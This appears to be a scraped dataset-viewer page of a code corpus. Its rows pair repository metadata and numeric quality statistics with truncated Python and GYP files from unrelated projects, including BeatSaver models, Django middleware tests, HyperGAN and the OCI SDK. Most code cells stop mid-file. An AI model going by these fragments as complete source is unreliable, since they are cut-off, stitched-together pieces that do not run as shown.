return lib_pic_va... | 17.384615 | 49 | 0.692478 | 72 | 452 | 3.930556 | 0.486111 | 0.14841 | 0.190813 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005391 | 0.179204 | 452 | 25 | 50 | 18.08 | 0.757412 | 0.044248 | 0 | 0 | 0 | 0 | 0.067285 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0.235294 | 0 | 0.411765 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0eb9097e16787c7b87f96af126199e797abaf5c5 | 6,763 | py | Python | beatsaver/models/model.py | megamaz/beatsaver-python | 4fe09d49d9342335c43d309f31a0fa9317cb6744 | [
"MIT"
] | 1 | 2021-08-28T20:04:41.000Z | 2021-08-28T20:04:41.000Z | beatsaver/models/model.py | megamaz/beatsaver-python | 4fe09d49d9342335c43d309f31a0fa9317cb6744 | [
"MIT"
] | null | null | null | beatsaver/models/model.py | megamaz/beatsaver-python | 4fe09d49d9342335c43d309f31a0fa9317cb6744 | [
"MIT"
] | 1 | 2021-08-28T13:17:09.000Z | 2021-08-28T13:17:09.000Z | from dataclasses import dataclass
from typing import List, Union
NoneType = type(None) # I hate is as much as you do but it makes my life so much simpler
class Undefined: # BECAUSE FOR SOME FUCKING REASON NOT ALL VALUES EXIST
pass # also js moment
class BeatSaverModel:
"""The base BeatSaver model object."""
... | 22.468439 | 125 | 0.595594 | 781 | 6,763 | 5.049936 | 0.243278 | 0.031694 | 0.031947 | 0.053245 | 0.333671 | 0.300963 | 0.300963 | 0.277637 | 0.277637 | 0.277637 | 0 | 0.000417 | 0.290552 | 6,763 | 300 | 126 | 22.543333 | 0.821592 | 0.062398 | 0 | 0.444444 | 0 | 0 | 0.047747 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.089744 | false | 0.004274 | 0.008547 | 0.012821 | 0.606838 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
0ebbe9626b83d5a3e7501fbaac771d46348828a7 | 15,324 | py | Python | OCS_Radiometer/Saildrone_tilt_TPOS18.py | shaunwbell/FOCI_Analysis | dde4a5f0badd76fe5719575d5c138813ab156b70 | [
"MIT"
] | null | null | null | OCS_Radiometer/Saildrone_tilt_TPOS18.py | shaunwbell/FOCI_Analysis | dde4a5f0badd76fe5719575d5c138813ab156b70 | [
"MIT"
] | null | null | null | OCS_Radiometer/Saildrone_tilt_TPOS18.py | shaunwbell/FOCI_Analysis | dde4a5f0badd76fe5719575d5c138813ab156b70 | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Thu Aug 24 07:01:14 2017
@author: bell
"""
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import ephem
def solar_zenith(timestr='2016-01-01 00:00:00', lat='47.6', lon='-122.32'):
'''
Time needs to be a string in UTC
us... | 44.034483 | 250 | 0.691725 | 2,387 | 15,324 | 4.219522 | 0.126519 | 0.074861 | 0.045671 | 0.0834 | 0.721108 | 0.685465 | 0.650119 | 0.616263 | 0.577145 | 0.564039 | 0 | 0.079283 | 0.125881 | 15,324 | 348 | 251 | 44.034483 | 0.672639 | 0.023232 | 0 | 0.382353 | 0 | 0.009804 | 0.355491 | 0.171716 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.019608 | null | null | 0.009804 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ebd9f5fd9c8253254b88d2fbde6f8db8c0e9c17 | 8,936 | py | Python | spirit/core/tests/tests_middleware.py | Ke-xueting/Spirit | 346d9a0db125ee8995ba5d0ab0fd8b43aa8c5dc7 | [
"MIT"
] | 974 | 2015-01-02T12:56:00.000Z | 2022-03-24T00:01:54.000Z | spirit/core/tests/tests_middleware.py | Ke-xueting/Spirit | 346d9a0db125ee8995ba5d0ab0fd8b43aa8c5dc7 | [
"MIT"
] | 247 | 2015-01-07T02:59:26.000Z | 2022-02-23T08:27:57.000Z | spirit/core/tests/tests_middleware.py | Ke-xueting/Spirit | 346d9a0db125ee8995ba5d0ab0fd8b43aa8c5dc7 | [
"MIT"
] | 366 | 2015-01-08T10:22:25.000Z | 2022-02-21T12:58:31.000Z | # -*- coding: utf-8 -*-
from django.test import TestCase, RequestFactory
from django.test.utils import override_settings
from django.urls import reverse
from django.contrib.auth.models import AnonymousUser
from django.http import HttpResponseRedirect, HttpResponse
from django.conf import settings
from .. import middl... | 38.852174 | 88 | 0.641562 | 910 | 8,936 | 6.118681 | 0.136264 | 0.042744 | 0.053879 | 0.072737 | 0.711207 | 0.698096 | 0.672593 | 0.66505 | 0.639907 | 0.639907 | 0 | 0.008515 | 0.250895 | 8,936 | 229 | 89 | 39.021834 | 0.823275 | 0.047449 | 0 | 0.623529 | 0 | 0 | 0.091196 | 0.032544 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.082353 | false | 0 | 0.047059 | 0 | 0.158824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ebe7056131c9c0349e9623de9e4fea5dcf4dfd1 | 1,436 | py | Python | esmond/api/management/commands/add_api_key_user.py | esnet/esmond-test | 8aaec580e8fa8a27bddddc0fd91fd3e96730515f | [
"BSD-3-Clause-LBNL"
] | null | null | null | esmond/api/management/commands/add_api_key_user.py | esnet/esmond-test | 8aaec580e8fa8a27bddddc0fd91fd3e96730515f | [
"BSD-3-Clause-LBNL"
] | null | null | null | esmond/api/management/commands/add_api_key_user.py | esnet/esmond-test | 8aaec580e8fa8a27bddddc0fd91fd3e96730515f | [
"BSD-3-Clause-LBNL"
] | null | null | null | import sys
import datetime
from django.conf import settings
from django.core.management.base import BaseCommand, CommandError
from django.contrib.auth.models import User, Group, Permission
from tastypie.models import ApiKey
from esmond.api.models import Device, OIDSet, DeviceOIDSetMap
class Command(BaseCommand):
... | 29.306122 | 80 | 0.597493 | 182 | 1,436 | 4.681319 | 0.428571 | 0.029343 | 0.046948 | 0.051643 | 0.13615 | 0.13615 | 0.068075 | 0 | 0 | 0 | 0 | 0.007984 | 0.302228 | 1,436 | 49 | 81 | 29.306122 | 0.842315 | 0 | 0 | 0.171429 | 0 | 0 | 0.164231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.2 | null | null | 0.171429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ebe8e2d30e8ea7bfc4b260b69309ba7dd9ee62b | 1,839 | py | Python | cogs/userInteraction.py | HeroGamers/noDoot | ea3ce265948cd441aad5b80e51ea5bb6e56d29f4 | [
"MIT"
] | 1 | 2021-08-23T09:49:38.000Z | 2021-08-23T09:49:38.000Z | cogs/userInteraction.py | HeroGamers/noDoot | ea3ce265948cd441aad5b80e51ea5bb6e56d29f4 | [
"MIT"
] | null | null | null | cogs/userInteraction.py | HeroGamers/noDoot | ea3ce265948cd441aad5b80e51ea5bb6e56d29f4 | [
"MIT"
] | 1 | 2019-08-02T21:44:42.000Z | 2019-08-02T21:44:42.000Z | import User, os
from discord import File
from discord.ext import commands
from utilities import logger, captchaHandler
class userInteraction(commands.Cog, name="User Interaction"):
def __init__(self, bot):
self.bot = bot
# this part uses some code from listenerCog, so check there for comments
@co... | 40.866667 | 135 | 0.623709 | 235 | 1,839 | 4.838298 | 0.480851 | 0.039578 | 0.038698 | 0.024626 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002946 | 0.261555 | 1,839 | 44 | 136 | 41.795455 | 0.834315 | 0.114736 | 0 | 0 | 0 | 0.033333 | 0.278272 | 0 | 0 | 0 | 0 | 0.022727 | 0 | 1 | 0.066667 | false | 0 | 0.133333 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ec0cb97120b69a4500f21b4cb558af5c3bc2028 | 959 | py | Python | PythonApp/qc_serial/SerialDao.py | CallMeCCLemon/queercon16-pillars | fc58ec21a62c4a8bc8f475e265edefeac0ebc129 | [
"BSD-3-Clause"
] | null | null | null | PythonApp/qc_serial/SerialDao.py | CallMeCCLemon/queercon16-pillars | fc58ec21a62c4a8bc8f475e265edefeac0ebc129 | [
"BSD-3-Clause"
] | null | null | null | PythonApp/qc_serial/SerialDao.py | CallMeCCLemon/queercon16-pillars | fc58ec21a62c4a8bc8f475e265edefeac0ebc129 | [
"BSD-3-Clause"
] | null | null | null | ###############################################################################
# Author: CallMeCCLemon
# Date: 2019
# Copyright: 2019 Thomas Littlejohn (@CallMeCCLemon) - Modified BSD License
###############################################################################
import serial
SYNC_BYTE = b... | 29.060606 | 80 | 0.426486 | 80 | 959 | 4.95 | 0.4625 | 0.088384 | 0.090909 | 0.090909 | 0.116162 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012638 | 0.339937 | 959 | 32 | 81 | 29.96875 | 0.612954 | 0.115746 | 0 | 0.105263 | 0 | 0 | 0.006144 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.210526 | false | 0 | 0.052632 | 0.052632 | 0.368421 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ec1e2cff290718c0139d639e364dc6546b485ad | 8,566 | py | Python | hypergan/cli.py | Darkar25/HyperGAN | 76ef7e0c20569ceece88dc76396d92c77050692b | [
"MIT"
] | null | null | null | hypergan/cli.py | Darkar25/HyperGAN | 76ef7e0c20569ceece88dc76396d92c77050692b | [
"MIT"
] | null | null | null | hypergan/cli.py | Darkar25/HyperGAN | 76ef7e0c20569ceece88dc76396d92c77050692b | [
"MIT"
] | null | null | null | """
The command line interface. Trains a directory of data.
"""
import gc
import sys
import os
import hyperchamber as hc
import tensorflow as tf
from hypergan.gan_component import ValidationException
from .inputs import *
from .viewer import GlobalViewer
from .configuration import Configuration
import hypergan as hg
i... | 34.540323 | 158 | 0.576232 | 1,024 | 8,566 | 4.713867 | 0.251953 | 0.042055 | 0.022374 | 0.014087 | 0.19971 | 0.151854 | 0.117671 | 0.104413 | 0.098612 | 0.098612 | 0 | 0.005694 | 0.323371 | 8,566 | 247 | 159 | 34.680162 | 0.827122 | 0.008055 | 0 | 0.244898 | 0 | 0.005102 | 0.112438 | 0 | 0 | 0 | 0 | 0.004049 | 0 | 0 | null | null | 0 | 0.096939 | null | null | 0.091837 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ec55b86338877add48764ec29d5803e15851e8e | 8,455 | py | Python | inferencia/task/pose_estimation/pose_estimation_2d/visualization/visualization/visualize_pose.py | yuya-mochimaru-np/inferencia | e09f298d0a80672fc5bb9383e23c941290eff334 | [
"Apache-2.0"
] | null | null | null | inferencia/task/pose_estimation/pose_estimation_2d/visualization/visualization/visualize_pose.py | yuya-mochimaru-np/inferencia | e09f298d0a80672fc5bb9383e23c941290eff334 | [
"Apache-2.0"
] | 5 | 2021-07-25T23:19:29.000Z | 2021-07-26T23:35:13.000Z | inferencia/task/pose_estimation/pose_estimation_2d/visualization/visualization/visualize_pose.py | yuya-mochimaru-np/inferencia | e09f298d0a80672fc5bb9383e23c941290eff334 | [
"Apache-2.0"
] | 1 | 2021-09-18T12:06:13.000Z | 2021-09-18T12:06:13.000Z | from typing import Any
import cv2
def visualize_pose(
image,
pose,
body_edges,
line_color=(255, 196, 77),
edge_color=(0, 75, 255),
line_width: Any = None,
circle_size: Any = None,
):
"""
pose: np.array
shape is (edge_num, 3)
[x, y, conf]
"""
if line_width is None ... | 33.685259 | 82 | 0.579539 | 1,091 | 8,455 | 4.271311 | 0.249313 | 0.025107 | 0.036695 | 0.012876 | 0.21073 | 0.141202 | 0.129185 | 0.106009 | 0.106009 | 0.106009 | 0 | 0.032825 | 0.293791 | 8,455 | 250 | 83 | 33.82 | 0.747613 | 0.816677 | 0 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025 | false | 0 | 0.05 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ed4c60e218a3439db9ebc54692045c58c28e87a | 5,689 | gyp | Python | third_party/pdfium/testing/gtest.gyp | satorumpen/node-pdfium-native | 90e5bf8bc69c80620f9f4231ebf8e39ef1178b8c | [
"BSD-2-Clause"
] | 69 | 2015-03-27T14:37:54.000Z | 2022-01-05T10:04:01.000Z | third_party/pdfium/testing/gtest.gyp | satorumpen/node-pdfium-native | 90e5bf8bc69c80620f9f4231ebf8e39ef1178b8c | [
"BSD-2-Clause"
] | 15 | 2015-04-03T02:33:53.000Z | 2020-01-28T10:42:29.000Z | third_party/pdfium/testing/gtest.gyp | satorumpen/node-pdfium-native | 90e5bf8bc69c80620f9f4231ebf8e39ef1178b8c | [
"BSD-2-Clause"
] | 21 | 2015-05-14T12:59:43.000Z | 2021-12-11T16:31:21.000Z | # Copyright 2014 PDFium authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
#
# Original code from V8, original license was:
# Copyright 2014 the V8 project authors. All rights reserved.
# Use of this source code is governed by a BSD-style ... | 34.065868 | 79 | 0.539286 | 655 | 5,689 | 4.561832 | 0.31145 | 0.088353 | 0.113788 | 0.108434 | 0.413655 | 0.298862 | 0.195448 | 0.14324 | 0.099063 | 0.067604 | 0 | 0.014323 | 0.325013 | 5,689 | 166 | 80 | 34.271084 | 0.763802 | 0.274213 | 0 | 0.543478 | 0 | 0 | 0.499268 | 0.329673 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.021739 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ed5e3969d800bd7679fa34b544aa7ce79b12543 | 1,668 | py | Python | odoo_actions/odoo_client/client.py | catalyst-cloud/adjutant-odoo | 6d1e473710e1757b92b4344d65d5bd106677fe36 | [
"Apache-2.0"
] | 1 | 2020-05-01T18:28:39.000Z | 2020-05-01T18:28:39.000Z | odoo_actions/odoo_client/client.py | catalyst-cloud/adjutant-odoo | 6d1e473710e1757b92b4344d65d5bd106677fe36 | [
"Apache-2.0"
] | null | null | null | odoo_actions/odoo_client/client.py | catalyst-cloud/adjutant-odoo | 6d1e473710e1757b92b4344d65d5bd106677fe36 | [
"Apache-2.0"
] | 2 | 2018-09-20T05:01:34.000Z | 2020-10-17T04:31:47.000Z | import odoorpc
from .projects import CloudProjectManager
from .credits import CloudCreditManager
from .partners import PartnerManager
from .project_relationships import ProjectRelationshipManager
from .countries import CountryManager
class OdooClient(object):
"""OpenStack-like wrapping for OdooRPC
This clie... | 35.489362 | 77 | 0.676859 | 187 | 1,668 | 5.882353 | 0.42246 | 0.058182 | 0.07 | 0.051818 | 0.045455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.224221 | 1,668 | 46 | 78 | 36.26087 | 0.850077 | 0.170863 | 0 | 0 | 0 | 0 | 0.097417 | 0 | 0 | 0 | 0 | 0.021739 | 0 | 1 | 0.034483 | false | 0.034483 | 0.206897 | 0 | 0.275862 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0ed9251d3cb94c9d2d70f96f710e0573660f9f3e | 2,876 | py | Python | python/kubeml/kubeml/util.py | DiegoStock12/kubeml | 9f00eee8249d12b7edcd4e11644b8843f42d67d8 | [
"Apache-2.0"
] | 8 | 2021-04-16T13:17:31.000Z | 2022-01-26T15:35:14.000Z | python/kubeml/kubeml/util.py | DiegoStock12/kubeml | 9f00eee8249d12b7edcd4e11644b8843f42d67d8 | [
"Apache-2.0"
] | 2 | 2021-04-30T15:14:16.000Z | 2021-05-22T20:42:28.000Z | python/kubeml/kubeml/util.py | DiegoStock12/kubeml | 9f00eee8249d12b7edcd4e11644b8843f42d67d8 | [
"Apache-2.0"
] | 1 | 2021-05-10T12:40:34.000Z | 2021-05-10T12:40:34.000Z | import logging
import math
import os
from typing import List
import torch
import torch.nn as nn
# Number of datapoints in storage on average
STORAGE_SUBSET_SIZE = 64
def get_gpu(func_id: int) -> int:
"""Based on the number of gpus, decide which one this function should use.
Once the first fu... | 35.073171 | 106 | 0.6742 | 467 | 2,876 | 4.08137 | 0.329764 | 0.050367 | 0.04617 | 0.037775 | 0.090241 | 0.028332 | 0.028332 | 0 | 0 | 0 | 0 | 0.002817 | 0.259388 | 2,876 | 81 | 107 | 35.506173 | 0.892019 | 0.546245 | 0 | 0 | 0 | 0 | 0.109417 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.137931 | false | 0 | 0.206897 | 0 | 0.586207 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
0ed94137e33bbfd7a7c7af0ced433bd185590b90 | 16,470 | py | Python | src/oci/core/models/instance_pool_instance.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/core/models/instance_pool_instance.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/core/models/instance_pool_instance.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
# Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 33.407708 | 245 | 0.658349 | 1,857 | 16,470 | 5.641357 | 0.113086 | 0.037801 | 0.161321 | 0.071592 | 0.695685 | 0.592115 | 0.508782 | 0.422203 | 0.378771 | 0.367507 | 0 | 0.005654 | 0.269763 | 16,470 | 492 | 246 | 33.47561 | 0.865386 | 0.57371 | 0 | 0.092857 | 0 | 0 | 0.121229 | 0.030928 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.014286 | 0.014286 | 0.378571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0edae8c96250c3a6098fe9def0f77454287b4107 | 479 | py | Python | harnessed_jobs/brighter_fatter_BOT/v0/producer_brighter_fatter_BOT.py | duncanwood/EO-analysis-jobs | 26d22e49c0d2e32fbf2759f504048754f66ecc45 | [
"BSD-3-Clause-LBNL"
] | 2 | 2018-07-26T09:32:46.000Z | 2019-05-28T20:57:43.000Z | harnessed_jobs/brighter_fatter_BOT/v0/producer_brighter_fatter_BOT.py | duncanwood/EO-analysis-jobs | 26d22e49c0d2e32fbf2759f504048754f66ecc45 | [
"BSD-3-Clause-LBNL"
] | 3 | 2018-03-18T21:55:07.000Z | 2019-04-18T18:26:06.000Z | harnessed_jobs/brighter_fatter_BOT/v0/producer_brighter_fatter_BOT.py | duncanwood/EO-analysis-jobs | 26d22e49c0d2e32fbf2759f504048754f66ecc45 | [
"BSD-3-Clause-LBNL"
] | 2 | 2020-11-12T19:47:42.000Z | 2022-02-25T21:43:03.000Z | #!/usr/bin/env ipython
"""
Producer script for BOT brighter-fatter analysis.
"""
import os
from bf_jh_task import bf_jh_task
from bot_eo_analyses import get_analysis_types, run_python_task_or_cl_script
if 'brighterfatter' in get_analysis_types():
bf_jh_task_script \
= os.path.join(os.environ['EOANALYSISJOB... | 34.214286 | 76 | 0.74739 | 74 | 479 | 4.391892 | 0.486486 | 0.073846 | 0.147692 | 0.092308 | 0.141538 | 0.141538 | 0 | 0 | 0 | 0 | 0 | 0.002475 | 0.156576 | 479 | 13 | 77 | 36.846154 | 0.80198 | 0.148225 | 0 | 0 | 0 | 0 | 0.1975 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
0eeb84e5acd87cee6ee92b5f87ceb2cb45b063b6 | 40,881 | py | Python | Out/Sequencer.py | greymind/GreymindSequencer | 3560f52c1614793ad24e9f7fb9b65af28c305632 | [
"MIT"
] | 1 | 2020-04-16T06:10:14.000Z | 2020-04-16T06:10:14.000Z | Out/Sequencer.py | bsrealm/GreymindSequencer | 3560f52c1614793ad24e9f7fb9b65af28c305632 | [
"MIT"
] | null | null | null | Out/Sequencer.py | bsrealm/GreymindSequencer | 3560f52c1614793ad24e9f7fb9b65af28c305632 | [
"MIT"
] | 1 | 2019-03-23T13:45:30.000Z | 2019-03-23T13:45:30.000Z | '''
Common functions and utilities
(c) 2009 - 2015 Greymind Inc.
Balakrishnan (Balki) Ranganathan (balki_live_com)
All Rights Reserved.
'''
import os
import io
import sys
import re
import math
import shutil
import fnmatch
import datetime
import glob
import maya.cmds as Cmds
import maya.mel as Mel
import xml.d... | 39.498551 | 237 | 0.606492 | 4,028 | 40,881 | 6.146226 | 0.166336 | 0.02678 | 0.011633 | 0.010098 | 0.284849 | 0.243446 | 0.195702 | 0.170497 | 0.155108 | 0.146706 | 0 | 0.013484 | 0.281622 | 40,881 | 1,034 | 238 | 39.53675 | 0.829508 | 0.019765 | 0 | 0.22067 | 0 | 0.02933 | 0.079104 | 0.006473 | 0 | 0 | 0 | 0 | 0.002793 | 0 | null | null | 0 | 0.02514 | null | null | 0.015363 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.